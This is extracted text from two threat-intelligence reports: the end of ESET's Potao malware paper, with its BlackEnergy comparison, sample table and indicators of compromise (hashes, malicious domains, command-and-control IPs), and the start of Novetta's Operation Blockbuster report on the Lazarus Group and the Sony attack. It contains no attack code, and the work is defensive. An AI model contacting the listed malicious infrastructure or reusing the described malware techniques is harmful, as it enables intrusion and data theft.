The open question remains: who might be interested in spying on both Ukrainian government and military entities, a news agency, members of a Ponzi scheme popular in Russia and Ukraine, and other victims known and unidentified?
Since we dont like to speculate without hard evidence, well leave the question of attribution for an open discussion.
Nevertheless, the facts are that several high-value Ukrainian targets were targeted by the malware, along with a significant number of victims in other CIS countries, including Russia.
27 APPENDIX A COMPARISON WITH BLACKENERGY (THE TROJAN USED BY THE SANDWORM / QUEDAGH GROUP) Potao BlackEnergy 1st appearance 2011 2007 ESET detection name Win32/Potao Win32/Rootkit.
BlackEnergy Aliases Sapotao, node69 Sandworm, Quedagh Targeting Targeted, mass-spreading debug versions Targeted, but also detected on computers of a large number of victims Most targeted countries Ukraine, Russia, Georgia Ukraine, Poland Notable targets Ukrainian government military institutions, news agency, members of MMM pyramid scheme, and others Ukrainian government military institutions, companies and individuals in Ukraine and Poland Distribution vectors Spear-phishing, SMS, postal websites, executables masquerading as Word or Excel docs, USB worm, trojanized TrueCrypt Spear-phishing, documents with exploits (RTF CVE-2014-1761, PPTS CVE-2014-4114, ), executables masquerading as Word or Excel docs, parasitic virus, network spreading, infected Juniper installers, Java, TeamViewer, Architecture Modular with downloadable plugins Modular with downloadable plugins Discovered plugins File stealer, system information collector, password stealer, screen grabber, key logger, malware updater, USB worm component File stealer, system information collector, password stealer, screen grabber, key logger, malware updater, network discovery remote execution, parasitic infector, system destroyer, remote login, and so on.
Use of exploits no Yes, including 0-days (CVE-2014-4114) Rootkit, driver component no Yes, in early versions.
Not in BlackEnergy Lite (v3) variant.
Notable techniques and features Trojanized TrueCrypt, USB spreading mechanism, DLL export function name patch Windows MUI abuse, bypassing UAC through shims (MACT), config as X.509 certificate, remote access when TeamViewer installed, use of PowerPoint 0-day exploit (CVE- 2014-4114) for spreading, trojan- downloaders for SCADA ICS systems CC communication encryption AES and RSA-2048 Modified RC4 Table 4 Similarities and differences between Win32/Potao and Win32/Rootkit.
BlackEnergy 28 APPENDIX B DETAILS OF WIN32/POTAO SAMPLES CAMPAIGNS Main DLL PE timestamp Main DLL Version Campaign ID Apr 27 09:13:23 2012 0 00km May 12 14:01:30 2012 2 mmmL Jun 13 09:11:58 2012 2 NMMM Oct 22 13:35:02 2012 2.3 GEUN Nov 13 14:54:20 2012 2.4 _NAK Dec 05 10:37:14 2012 2.4 ANOS Apr 28 11:10:29 2013 2.6 2804 May 30 10:42:17 2013 2.6 _nal Jun 26 16:53:02 2013 2.6 _b01 Jul 02 12:28:08 2013 2.6 sb01 Aug 27 14:26:59 2013 2.6 perm Oct 15 09:31:32 2013 2.6 o003 Oct 16 09:55:46 2013 2.6 sb02 Oct 18 16:10:47 2013 2.6 psih Nov 19 11:14:04 2013 2.6 ber1 Nov 19 11:31:59 2013 2.6 us11 Feb 19 09:30:06 2014 2.7 t001 Apr 08 12:40:43 2014 2.6 ap01 Aug 21 10:54:56 2014 2.7 rk02 Aug 21 14:58:34 2014 2.7 rk02 Sep 02 12:39:46 2014 2.7 mt01 Sep 02 14:22:20 2014 2.7 mtu2 Oct 10 12:38:22 2014 2.7 mt01 Oct 15 15:16:44 2014 2.7 tk02 Oct 15 15:22:49 2014 2.7 comm Oct 15 15:26:19 2014 2.7 rk02 Oct 15 15:51:31 2014 2.7 mtu2 Oct 31 14:58:01 2014 2.7 mt01 Nov 07 14:10:38 2014 2.7 rk03 Nov 10 13:00:43 2014 2.7 mtu3 Nov 11 13:46:58 2014 2.7 udif Nov 13 11:14:22 2014 2.7 vou0 Nov 19 11:16:33 2014 2.7 rk03 Nov 20 12:29:01 2014 2.7 udif Nov 20 12:32:06 2014 2.7 mtu3 Nov 21 13:09:55 2014 2.7 rk03 Dec 06 09:31:38 2014 2.8.0001 mt10 Dec 08 13:51:03 2014 2.8.0001 rk0S Dec 15 12:05:05 2014 2.8.0001 rk0S Dec 17 10:02:00 2014 2.8.0001 mtuS Dec 18 09:58:06 2014 2.8.0001 udi2 Dec 18 12:53:18 2014 2.8.0001 rko3 29 Main DLL PE timestamp Main DLL Version Campaign ID Jan 20 15:23:34 2015 2.8.0001 vouF Jan 20 15:27:46 2015 2.8.0001 dpcF Jan 23 10:39:28 2015 2.8.0001 dpcu Feb 17 13:07:24 2015 2.8.0002 dpcF Feb 17 13:30:10 2015 2.8.0002 rk0F Mar 03 16:26:36 2015 2.8.0002 ufbi Mar 06 13:33:07 2015 2.8.0002 ufbi Mar 13 12:42:14 2015 2.8.0002 dpcF Apr 16 13:18:08 2015 2.8.0002 mapt Apr 23 15:43:31 2015 2.8.0002 mapt Apr 28 08:27:04 2015 2.8.0002 mapt May 20 09:27:20 2015 2.8.0002 mapF May 20 10:21:14 2015 2.8.0002 tk03 Jun 18 10:55:49 2015 2.8.0002 mapt Jul 16 18:26:08 2015 2.8.0002 mapt Jul 20 09:16:21 2015 2.8.0002 bhaz Table 5 Win32/Potao sample details 30 APPENDIX C INDICATORS OF COMPROMISE (IOC) Users of ESET security software are fully protected from the Potao malware described in this paper.
Additionally, ESET will provide further information regarding this threat to any individuals or organizations that may be infected either currently or in the past.
Contact email: threatinteleset.com For convenience, we also uploaded the Potao IOCs to github: https://github.com/eset/malware-ioc/ tree/master/potao SHA1 hashes: Early Potao versions: 8839D3E213717B88A06FFC48827929891A10059E 5C52996D9F68BA6FD0DA4982F238EC1D279A7F9D CE7F96B400ED51F7FAB465DEA26147984F2627BD D88C7C1E465BEA7BF7377C08FBA3AAF77CBF485F 81EFB422ED2631C739CC690D0A9A5EAA07897531 18DDCD41DCCFBBD904347EA75BC9413FF6DC8786 E400E1DD983FD94E29345AABC77FADEB3F43C219 EB86615F539E35A8D3E4838949382D09743502BF 52E59CD4C864FBFC9902A144ED5E68C9DED45DEB 642BE4B2A87B47E77814744D154094392E413AB1 Debug versions: BA35EDC3143AD021BB2490A3EB7B50C06F2EA40B 9D584DE2CCE6B654E62573938C2C824D7CC7D0EB 73A4A6864EF68C810C7C699ED51B759CF1C4ADFB 1B3437C06CF917920688B25DA0345749AA1A4A46 Droppers with decoy documents: FBB399568E0A3B2E461A4EB3268ABDF07F3D5764 4D5E0808A03A75BFE8202E3A6D2920EDDBFC7774 BCC5A0CE0BCDFEA2FD1D64B5529EAC7309488273 F8BCDAD02DA2E0223F45F15DA4FBAB053E73CF6E 2CDD6AABB71FDB244BAA313EBBA13F06BCAD2612 9BE3800B49E84E0C014852977557F21BCDE2A775 4AC999A1C54AE6F54803023DC0FCF126CB77C854 59C07E5D69181E6C3AFA7593E26D33383722D6C5 E15834263F2A6CCAE07D106A71B99FE80A5F744B A62E69EF1E4F4D48E2920572B9176AEDB0EEB1C6 900AD432B4CB2F2790FFEB0590B0A8348D9E60EB 856802E0BD4A774CFFFE5134D249508D89DCDA58 A655020D606CA180E056A5B2C2F72F94E985E9DB 04DE076ACF5394375B8886868448F63F7E1B4DB9 31 Droppers from postal websites: 94BBF39FFF09B3A62A583C7D45A00B2492102DD7 F347DA9AAD52B717641AD3DD96925AB634CEB572 A4D685FCA8AFE9885DB75282516006F5BC56C098 CC9BDBE37CBAF0CC634076950FD32D9A377DE650 B0413EA5C5951C57EA7201DB8BB1D8C5EF42AA1E 0AE4E6E6FA1B1F8161A74525D4CB5A1808ABFAF4 EC0563CDE3FFAFF424B97D7EB692847132344127 639560488A75A9E3D35E4C0D9C4934295072DD89 USB-spreaders: 850C9F3B14F895AAA97A85AE147F07C9770FB4C7 BB0500A24853E404AD6CA708813F926B90B38468 71A5DA3CCB4347FE785C6BFFF7B741AF80B76091 7664C490160858EC8CFC8203F88D354AEA1CFE43 92A459E759320447E1FA7B0E48328AB2C20B2C64 BB7A089BAE3A4AF44FB9B053BB703239E03C036E DB966220463DB87C2C51C19303B3A20F4577D632 37A3E77BFA6CA1AFBD0AF7661655815FB1D3DA83 181E9BCA23484156CAE005F421629DA56B5CC6B5 A96B3D31888D267D7488417AFE68671EB4F568BD 224A07F002E8DFB3F2B615B3FA71166CF1A61B6D 5D4724FBA02965916A15A50A6937CDB6AB609FDD 8BE74605D90ED762310241828340900D4B502358 5BE1AC1515DA2397A7C52A8B1DF384DD938FA714 56F6AC6197CE9CC774F72DF948B414EED576B6C3 F6F290A95D68373DA813782EF4723E39524D048B 48904399F7726B9ADF7F28C07B0599717F741B8B 791ECF11C04470E9EA881549AEBD1DDED3E4A5CA E2B2B2C8FB1996F3A4A4E3CEE09028437A5284AE 5B30ECFD47988A77556FE6C0C0B950510052C91E 4EE82934F24E348696F1C813C24797618286A70C B80A90B39FBA705F86676C5CC3E0DECA225D57FF 971A69547C5BC9B711A3BB6F6F2C5E3A46BF7B29 C1D8BE765ADCF76E5CCB2CF094191C0FEC4BF085 2531F40A1D9E50793D04D245FD6185AAEBCC54F4 32 Other droppers: D8837002A04F4C93CC3B857F6A42CED6C9F3B882 BA5AD566A28D7712E0A64899D4675C06139F3FF0 FF6F6DCBEDC24D22541013D2273C63B5F0F19FE9 76DA7B4ABC9B711AB1EF87B97C61DD895E508232 855CA024AFBA0DC09D336A0896318D5CC47F03A6 12240271E928979AB2347C29B5599D6AC7CD6B8E A9CB079EF49CEE35BF68AC80534CBFB5FA443780 1B278A1A5E109F32B526660087AEA99FB8D89403 4332A5AD314616D9319C248D41C7D1A709124DB2 5BEA9423DB6D0500920578C12CB127CBAFDD125E Plugins: 2341139A0BC4BB80F5EFCE63A97AA9B5E818E79D 8BD2C45DE1BA7A7FD27E43ABD35AE30E0D5E03BC 54FEDCDB0D0F47453DD65373378D037844E813D0 CC3ECFB822D09CBB37916D7087EB032C1EE81AEE F1C9BC7B1D3FD3D9D96ECDE3A46DFC3C33BBCD2B 9654B6EA49B7FEC4F92683863D10C045764CCA86 526C3263F63F9470D08C6BA23E68F030E76CAAF3 E6D2EF05CEDCD4ABF1D8E3BCAF48B768EAC598D7 CEBAB498E6FB1A324C84BA267A7BF5D9DF1CF264 324B65C4291696D5C6C29B299C2849261F816A08 C96C29252E24B3EEC5A21C29F7D9D30198F89232 CDDDE7D44EFE12B7252EA300362CF5898BDC5013 84A70CDC24B68207F015D6308FE5AD13DDABB771 Fake TrueCrypt setup: 82F48D7787BDE5B7DEC046CBEF99963EEEB821A7 9666AF44FAFC37E074B79455D347C2801218D9EA C02878A69EFDE20F049BC380DAE10133C32E9CC9 7FBABEA446206991945FB4586AEE93B61AF1B341 Fake TrueCrypt extracted exe: DCBD43CFE2F490A569E1C3DD6BCA6546074FD2A1 422B350371B3666A0BD0D56AEAAD5DEC6BD7C0D0 88D703ADDB26ACB7FBE35EC04D7B1AA6DE982241 86E3276B03F9B92B47D441BCFBB913C6C4263BFE 33 Domain names: truecryptrussia.ru mntexpress.com worldairpost.com worldairpost.net camprainbowgold.ru poolwaterslide2011.ru IP addresses of CC servers: 78.47.218.234 95.86.129.92 115.68.23.192 67.18.208.92 37.139.47.162 212.227.137.245 62.76.189.181 87.106.44.200 62.76.42.14 94.242.199.78 178.239.60.96 84.234.71.215 67.103.159.141 62.76.184.245 83.169.20.47 148.251.33.219 98.129.238.97 195.210.28.105 198.136.24.155 46.165.228.130 192.154.97.239 5.44.99.46 188.240.46.1 81.196.48.188 74.54.206.162 69.64.72.206 74.208.68.243 46.163.73.99 193.34.144.63 103.3.77.219 119.59.105.221 188.40.71.188 188.40.71.137 108.179.245.41 64.40.101.43 190.228.169.253 194.15.126.123 188.127.249.19
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OperationBlockbuster.com Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 3 TOC Table of Contents Caveats ...........................................................................4 1.
Executive Summary ................................................. 5 1.1 Key Takeaways ........................................................7 2.
Operation Details .................................................... 8 2.1 Hunting Method ..........................................................................9 3.
Lazarus Group Details ...........................................11 3.1 The SPE Attack and Conflicting Attribution ............... 12 3.2 Tactics, Techniques, and Procedures (TTPs) ........... 14 3.3 Targeting ...................................................................................... 16 3.4 Links to Previous Reporting .............................................. 20 The Lazarus Group Timeline ..................................................... 20 4.
Malware Tooling .................................................... 24 4.1 Naming Scheme ....................................................................... 25 4.2 Infrastructure .............................................................................27 4.3 Code Relationships ............................................................... 28 4.3.1 Encryption ............................................................................... 28 4.3.2 Dynamic API Loading ..................................................... 34 4.3.3 Network Functionality ..................................................... 35 4.3.4 Directory Hierarchy Verification and Generation ................................................................................. 46 4.3.5 Secure File Delete ...............................................................47 4.3.6 Target File Identification ..................................................47 5.
Conclusion .............................................................. 48 5.
Conclusion (continued) .......................................................... 49 YARA Rules .........................................................................................50 Hashes ...................................................................................................50 6.
Appendix ..................................................................51 7.
Glossary of Terms ................................................. 55 Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 4 Caveats To the best of Novettas knowledge and belief, participants in this effort did not disclose, access, or utilize any confidential information that would result in violation of any third party agreements including, but not limited to, non-disclosure agreements or customer agreements.
While this report discusses previous attribution claims made by outside parties, Novetta cannot definitively confirm any such attribution through the technical analysis detailed in this and other Operation Blockbuster reports.
Please note that this report includes terms that will not be familiar to everyone.
We have included a glossary at the end of this report and denoted such defined terms with the superscript for your convenience.
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Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 8 2.
Operation Details Operation Blockbuster began in December 2014, independent of any investigation conducted by law enforcement or Sony, with the intent to not only identify and impact the malicious tools and infrastructure used by the Lazarus Group, but also to clarify details surrounding the November 2014 SPE attack, which was the subject of widespread confusion.
By investigating the malware linked to this attack, we have determined that the Lazarus Group has operated largely unfettered for nearly a decade, conducting cyber espionage, denial of service attacks, data theft, and destructive attacks.
Before discussing Novettas hunting methods, it is important to note that the majority of our malware samples and other data were sourced from public sources such as VirusTotal.
As a result, our samples are biased towards the footprint and usage of this service.
We do have some partners who provided malware samples, representing commercial ecosystem protectors and maintainers.
Here again, our visibility is limited to the visibility of these partners.
C H A P T E R Two Identify starting sample(s) In this case, the starting samples were identified by the industry as being from the SPE attack Collect and verify the accuracy of results By checking the signature match, samples can be verified to ensure that there are no false positives, or to refine high confidence signatures Begin analysis of samples Attempt to identify unique components of the code base that can provide high confidence signatures Identify any divergence in samples Such a divergence may communicate some structure change or change in capabilities, and in turn provide more information about a threat groups toolset, development activity, and capabilities Write high confidence signatures Signatures can help capture other samples that use the same or very similar code snippets identified in step 2 Write new high confidence Signatures for those portions of code Run high confidence signatures against a large corpus of malware This is more easily accomplished using Totem or similar elastic malware analysis or file triaging framework Repeat steps 4-7 until done Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 9 2.1 Hunting Method On December 14, 2014, US-CERT released an alert5 entitled Targeted Destructive Malware.
The alert described a set of malware families used by undefined attackers to compromise large network infrastructures and deploy hard drive wiping malware, RATs, and proxy Trojans.
While the document did not specifically call out the Guardians of Peace (GOP)s attack against SPE from the previous month, and only provided some basic YARA signatures and import hashes, members of the security community released specific hashes for the malware used within the SPE attack.
From these hashes (MD5s listed below), a baseline of the Lazarus Groups malware capabilities was established.
d1c27ee7ce18675974edf42d4eea25c6 760c35a80d758f032d02cf4db12d3e55 e1864a55d5ccb76af4bf7a0ae16279ba 6467c6df4ba4526c7f7a7bc950bd47eb Novetta Hunting Methodology: 5 US-CERT.
Alert (TA14-353A): Targeted Destructive Malware https://www.us-cert.gov/ncas/alerts/TA14-353A December 14, 2014.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 10 By analyzing the base set of malware associated with the Lazarus Group, Novetta determined that there were common code and libraries being used across multiple malware families (see Section 4 for more details).
From these common snippets of code and use of library functions, signatures were generated to detect additional malware samples using both open-source tools and Totem,6 an open-source, Novetta-developed framework for large-scale file analysis and triage.
While attempting to acquire all malware associated with a particular threat group is a Sisyphean task, given the active development of multiple various toolsets, Novetta was able to detect and analyze more than 45 distinct malware families that fall under the Lazarus Groups toolset.
A thorough discussion on these families, organized by usage and intention, can be found in Novettas supplemental reports.
In our investigation, we were able to scan signatures over hundreds of millions of samples we collected as well as using industry partners AV scanning engines.
The use of such a large corpus of malware allowed Novetta to fine-tune the signatures for shared code components to ensure a high reliability that the code fragments used for detection were specific to the Lazarus Group and not the result of commodity code.
From the billions of files scanned, Novettas signatures produced approximately 2000 samples, of which 1000 were manually vetted and catalogued as belonging to the Lazarus Group.
6 https://github.com/Novetta/totem 3.
Lazarus Group Details By identifying the malware linked to the SPE attack (Section 2.1) and other related samples and capabilities, Novetta has been able to compile a picture of a group that has been active for nearly a decade.
Based on analysis of the extensive malware set collected, as well as details found in public reporting from linked attacks, the Lazarus Group appears to have resources that allow for development of custom malware tools for extensive, targeted, and coordinated attacks, including long periods of reconnaissance.
The Lazarus Group has also displayed the technical capability and will to perform destructive attacks against targets.
The following sections detail the SPE attack and subsequent media reporting, the groups TTPs, targets based on known attacks and malware artifacts, and previous cyber campaigns that we have directly linked to the Lazarus Group.
C H A P T E R Three Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 12 3.1 The SPE Attack and Conflicting Attribution In November 2014, Sony Pictures Entertainment (SPE) was attacked with destructive malware whose various components were publicly reported as Destover or Wiper and which Novetta identified in this Operation as WhiskeyAlfa, malware associated with the Lazarus Group threat actors (see Section 4.1 for details about the naming scheme used for malware attributed to the Lazarus Group).
Publicly, a previously unknown hacker group named Guardians of Peace (GOP) took credit for the wiper attack and stolen data.
The group eventually publicized the files stolen from SPE networks, including unreleased movies, usernames, passwords, and other IT details for internal SPE networks,7 employees personal information, payroll information, employee termination details, TV scripts, and company emails.
Following the attack, an initial FBI investigation concluded that the hack was the work of the North Korean government, as the malware used in the attack was linked to other malware attributed to North Korean actors specifically, code snippets, encryption algorithms, data deletion methods, and compromised infrastructure used during the attack.8 Infrastructure used in the SPE attack has previously been linked by the U.S. government directly to other identified North Korea cyber activity.
Several security researchers also stated that the destructive attack could be linked to malware variants used in attacks that have been suggested to be the work of North Korea,9 with similar TTPs as previous events attributed to North Korea,10 11 and shared infrastructure.12 However, others stated that the evidence for North Korean involvement is circumstantial.13 For instance, while the infrastructure used in the SPE attack overlaps with infrastructure attributed to malicious cyber activity linked to North Korea, previously malicious IP addresses are not necessarily still used by the same attackers.
In fact, the publicly reported C2 addresses were almost all public proxies used by a variety of malware operators in the past.
Other reporting claimed that the SPE attack was the work of insiders rather than a nation-state,14 and that the ability to thoroughly infiltrate the SPE network and steal sensitive data required insider knowledge.
The data leaked included details of planned layoffs, suggesting a motivation for disgruntled employees to aid or provide stolen data to other attackers, such as piracy hacktivists targeting SPE.
The attackers also dumped the stolen data, rather than keeping it secret as, some allege, a state power interested in intelligence or propaganda might do instead.15 In contrast, previous destructive attacks against South Korean organizations in March 2013, which were linked to North Korea, involved no extortion demands from attackers.
Notably, other public comments even doubted that North Korea had the capabilities to launch such an attack largely due 7 Sonys IT blueprints leaked by hackers.
CSO.
December 4, 2014.
http://www.csoonline.com/article/2855005/business-continuity/sonys-it-blueprints-leaked-by-hackers.html 8 Update on Sony Investigation.
FBI.
December 19, 2014.
https://www.fbi.gov/news/pressrel/press-releases/update-on-sony-investigation 9 Destover: Destructive malware has links to attacks on South Korea.
Symantec.
December 4, 2014.
http://www.symantec.com/connect/blogs/destover-destructive-malware-has-links-attacks-south-korea 10 South Korean paper hit by major cyber attack.
Phys.org.
June 11, 2012.
http://phys.org/news/2012-06-south-korean-paper-major-cyber.html 11 Four-star spymaster behind North Korean hacking Sonys The Interview available online.
The Washington Times.
December 24, 2014.
http://www.washingtontimes.com/news/2014/dec/24/inside-the-ring-four-star-spy- master-behind-north-k/ 12 Sony Hack Mirrors Attack on South Korean Newspaper, Researcher Says.
The Wall Street Journal.
December 19, 2014.
http://blogs.wsj.com/korearealtime/2014/12/19/sony-hack-mirrors-attack-on-south-korean-newspa- per-researcher-says/ 13 No, North Korea Didnt Hack Sony.
The Daily Beast.
December 24, 2014.
http://www.thedailybeast.com/articles/2014/12/24/no-north-korea-didn-t-hack-sony.html 14 Norse Investigation Focusing on a Small Group, Including Sony Ex-Employees.
Norse.
December 29, 2014.
http://web.archive.org/web/20150623023623/http://darkmatters.norsecorp.com/2014/12/29/ex-employee-five- others-fingered-in-sony-hack/http://darkmatters.norsecorp.com/2014/12/29/ex-employee-five-others-fingered-in-sony-hack/ 15 No, North Korea Didnt Hack Sony.
The Daily Beast.
December 24, 2014.
http://www.thedailybeast.com/articles/2014/12/24/no-north-korea-didn-t-hack-sony.html Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 13 to insufficient infrastructure,16 or that other17 nation-states18 were involved.
In addition to the conflicting attribution of the attacks, some initial reporting suggested that the attack shared some links to Shamoon, the destructive malware that hit Saudi Aramco and other oil company networks in August 2012.
This was based on the use of the same commercially available drivers (EldoS RawDisk) and attack techniques rather than any shared malware code.19 From Novettas analysis of Shamoon, there is no clear link between Shamoon and any destructive malware variants tracked in this operation that would indicate shared author(s).
However, the author(s) behind the SPE destructive malware may have copied Shamoons attack techniques, or vice versa.
It is worth noting that the two nation- states publicly blamed for the Saudi Aramco and SPE attacks (Iran and North Korea, respectively) have had a technology sharing treaty since 2012, with a specific focus on cyber.20 While some critics of the SPE attribution do ask important questions, such as whether the use of public proxies or open- source code libraries is sufficient evidence for attribution, many who have written off any possible nation-state involvement due to GOPs public actions have not fully considered the possible motives of a states interest in attacking SPE.
Furthermore, to discount nation-states like North Korea as too underdeveloped ignores the demonstrated fact that cyber attacks are no longer limited to highly resourced nation-states.21 22 23 The cyber footprint of not only governments and critical infrastructure, but also corporate enterprises, has grown significantly while still largely lacking in sophisticated security operations, effectively lowering the barrier to entry even further for threat groups.
Although Novetta is unable to determine via technical malware analysis whether or not the SPE attack was carried out by an identified nation-state, we have been able to link the malware used in this attack to a widely varied malicious toolset profiled in this Operation, including tools directly related to previously reported attacks (Section 3.4).
This link to known attacks suggests that these malicious tools have been actively developed and used over a span of at least 7 years, and that the attackers responsible for the SPE attack have a much larger collection of related malware outside of the SPE destructive malware.
Due to this finding, we strongly believe that the SPE attack was not the work of insiders or hacktivists.
Furthermore, given the malicious tools and previous cyber operations linked to these tools, it appears that the SPE attack was carried out by a single group, or potentially very closely linked groups sharing technical resources, infrastructure, and even tasking.
We have dubbed this organization the Lazarus Group.
However, rather than focus on the specifics of attribution, this report and subsequent technical reports are intended to detail our technical findings on the scope of the Lazarus Groups known tools and capabilities.
Due to this finding, we strongly believe that the SPE attack was not the work of insiders or hacktivists.
Furthermore, given the malicious tools and previous cyber operations linked to these tools, it appears that the SPE attack was carried out by a single group, or potentially very closely linked groups sharing technical resources, infrastructure, and even tasking.
We have dubbed this organization the LAZARUS GROUP.
16 Former Anonymous hacker doubts North Korea behind Sony attack.
CBS News.
December 17, 2014.
http://www.cbsnews.com/videos/former-anonymous-hacker-doubts-north-korea-behind-sony-attack/Sony Hackers Guardians of Peace Troll FBI, Anonymous Convinced Hack Didnt Come From North Korea.
17 A security firm claims it was Russia that hacked Sony and that it still has access.
Business Insider.
February 5, 2015.
http://www.businessinsider.com/a-security-firm-claims-it-was-russia-that-hacked-sony-and-that- they-still-have-access-2015-2 18 Evidence in Sony hack attack suggests possible involvement by Iran, China or Russia, intel source says.
Fox News.
December 19, 2014.
http://www.foxnews.com/politics/2014/12/19/fbi-points-digital-finger-at-north-korea- for-sony-hacking-attack-formal.html 19 Sony Pictures malware tied to Seoul, Shamoon cyber-attacks.
Ars Technica.
December 4, 2014.
http://arstechnica.com/security/2014/12/sony-pictures-malware-tied-to-seoul-shamoon-cyber-attacks/ 20 Iran and North Korea sign technology treaty to combat hostile malware.
V3.
September 3, 2012.
http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware 21 Profiling an enigma: The mystery of North Koreas cyber threat landscape.
HP Security Research.
August 2014.
http://community.hpe.com/hpeb/attachments/hpeb/off-by-on-software-security-blog/388/2/HPSR20Secu- rityBriefing_Episode16_NorthKorea.pdf 22 Operation Cleaver.
Cylance.
December 2014.
http://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf 23 Malware-based Attacks Against POS Systems.
Infosec Institute.
February 11, 2014.
http://resources.infosecinstitute.com/malware-based-attacks-pos-systems/ http://www.cbsnews.com/videos/former-anonymous-hacker-doubts-north-korea-behind-sony-attack/ http://community.hpe.com/hpeb/attachments/hpeb/off-by-on-software-security-blog/388/2/HPSR20SecurityBriefing_Episode16_NorthKorea.pdf http://community.hpe.com/hpeb/attachments/hpeb/off-by-on-software-security-blog/388/2/HPSR20SecurityBriefing_Episode16_NorthKorea.pdf http://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 14 3.2 Tactics, Techniques, and Procedures (TTPs) The Lazarus Group has developed an extensive and varied toolset which effectively combines a number of methods for delivering additional malicious tools, exfiltrating data, and launching destructive attacks.
While the groups combined capabilities are not necessarily as polished or advanced as other publicly reported APT groups, the TTPs and malware connected to the Lazarus Group demonstrate that it is a capable and determined adversary.
Particularly when considering the state of most, if not all, organizations who struggle with the complexity of computer network defense, it is clear that the Lazarus Group is taking advantage of a cyber attackers asymmetric advantage in these scenarios.
The generally lax defensive capabilities of their targeted organizations are reflected by the structure and complexity of their tooling and how they use these tools operationally - the Lazarus Groups tools are sufficiently advanced for the intended targets and level of impact.
This is also typically seen in most malware tooling discovered and reported on, from the more advanced and complex malware frameworks like Flame24 and Satellite Turla,25 both observed targeting a narrow, hardened set of victims, to the off-the-shelf and simple malware (Plugx, Poison Ivy, etc) often used for softer targets or for initial access to target networks.
Some threat groups make use of a full spectrum of malware, as was observed in Novettas previous Operation SMN reporting,26 where the Axiom group leveraged different tools and techniques dependent on the security posture and capabilities of target organizations.
Compared to Axiom, Novettas analysis of the Lazarus groups toolsets did not demonstrate the same widespread distribution between advanced, moderately advanced, and basic capabilities.
Yet this clearly was not an impediment to the operators in the Lazarus Group, given the success of their attacks.
Despite evidence suggesting that their attacks to date have succeeded without the need for some of the more advanced techniques or capabilities, the Lazarus Group has shown creativity in their operations that set them apart.
Despite evidence suggesting that their attacks to date have succeeded without the need for some of the more advanced techniques or capabilities, the Lazarus Group has shown creativity in their operations that set them apart.
For example, the group has several malware variants with TLS mimicking capabilities (Section 4.3.3.1) to evade network detection, as well as a P2P malware family that serves as a platform for an operator to access all infected instances.
The Lazarus Group has also used master boot record (MBR) wiper malware since at least 2009, marking some of the earliest known instances of targeted destructive malware.
Furthermore, the willingness to use destructive malware in such a wide scope, seen with the SPE attack as well as other linked attacks, distinguishes them from many other APT groups.
However, the Lazarus Group is not limited solely to the deployment of destructive malware.
In fact, the toolset identified during this Operation suggests that the Lazarus Group encompasses a wide spectrum of CNO capabilities, including distributed denial of service (DDoS) malware, keyloggers, and RATs, and even a P2P malware family that allows operators to establish a common program base and remote administration across all infected machines.
24 Meet Flame, the massive spy malware infiltrating Iranian computers.
Wired.
May 28, 2012.
DNS-Calc APT Trojan Uses DNS Queries to Generate CC Port Number 25 Satellite Turla: APT Command Control in the Sky.
Securelist.
September 9, 2015.
https://securelist.com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/ 26 Operation SMN: Axiom Threat Actor Group Report.
Novetta.
November 2014.
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 15 Among the TTPs we have seen, based on the identified malware corpus and linked cyber campaigns tied to the Lazarus Group, including SPE, the Lazarus Groups primary TTPs are: DDoS malware Espionage campaigns marked by a long initial reconnaissance period of targeted networks, including malware customized specifically for target networks Destructive malware Compromised IPs and websites as command-and-control (C2) Extensive use of various types of obscure encryption Proxies to mask true C2 Integration of publicly available tools, libraries, and other code Email as C2 Re-use of malicious code across multiple malware families Mimicking TLS as a means of network detection evasion Multiple attack components/vectors Spear phishing Targeting of South Korean AV and indigenous Korean software Use of other legitimate software to gain access to victim networks Decoy documents Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 16 3.3 Targeting The Lazarus Group has targeted a number of industry verticals over the years, including government, military, financial, media and entertainment, and critical infrastructure.
According to previous public research and reporting, the Lazarus Group has targeted a number of industry verticals over the years, including government, military, financial, media and entertainment, and critical infrastructure.
These victims have largely been limited to South Korea and the United States.
Based on three months of telemetry gathered from initial signatures created and shared with industry partners, however, possible infections were found in a much wider geographic area, including concentrations of detected Lazarus Group malware found in other Asian countries like Taiwan, China, Japan, and India.
While these initial signature detections provide a general overview of some possible malicious activity, these numbers should not be considered reflective of the totality of Lazarus Group tools detected in this Operation, due to the nature of our approach in this effort and our partners visibility into these geographic areas.
Several recent examples of targeting were observed in spear-phishing documents dropped by samples of an installer developed by the Lazarus Group, which Novetta has named IndiaAlfa.27 27 reference external report on this Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 17 Figure [3-1]: Decoy document dropped by IndiaAlfa variant relating to the May 2015 parliamentary election in South Korea The above example is a media report discussing the May 2015 South Korean parliamentary election, which included candidates for the Saenuri Party, South Koreas ruling party since 2008.
Interestingly, Saenuri has taken a much stronger stance toward North Korea aggressions in comparison to the pre-2008 Sunshine Policy which actively sought cooperation between the two states.
Saenuri actively supports the North Korean Human Rights Law and founded Open Radio for North Korea, an organization which spreads information about democracy.
Saenuri is also a major advocate of cyber security and the National Intelligence Service.
Despite being amidst corruption allegations, the Saenuri Party won three of the four parliamentary seats during the election.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 18 Figure [3-2]: Decoy document from April 2015 dropped by an IndiaAlfa variant about the Government 3.0 conference in May Another document dropped by India Alfa includes information about the Government 3.0 Conference, held in May 2015.
South Koreas Government 3.0 emphasizes transparency and collaboration.
Of note is the programs 24-hour online portal service which connects citizens to multiple central and local government agencies.
More recently, a variant compiled in October 2015 contains a decoy document asking speakers at the Society for Aerospace System Engineerings (SASE) 2015 autumn conference to register their papers.
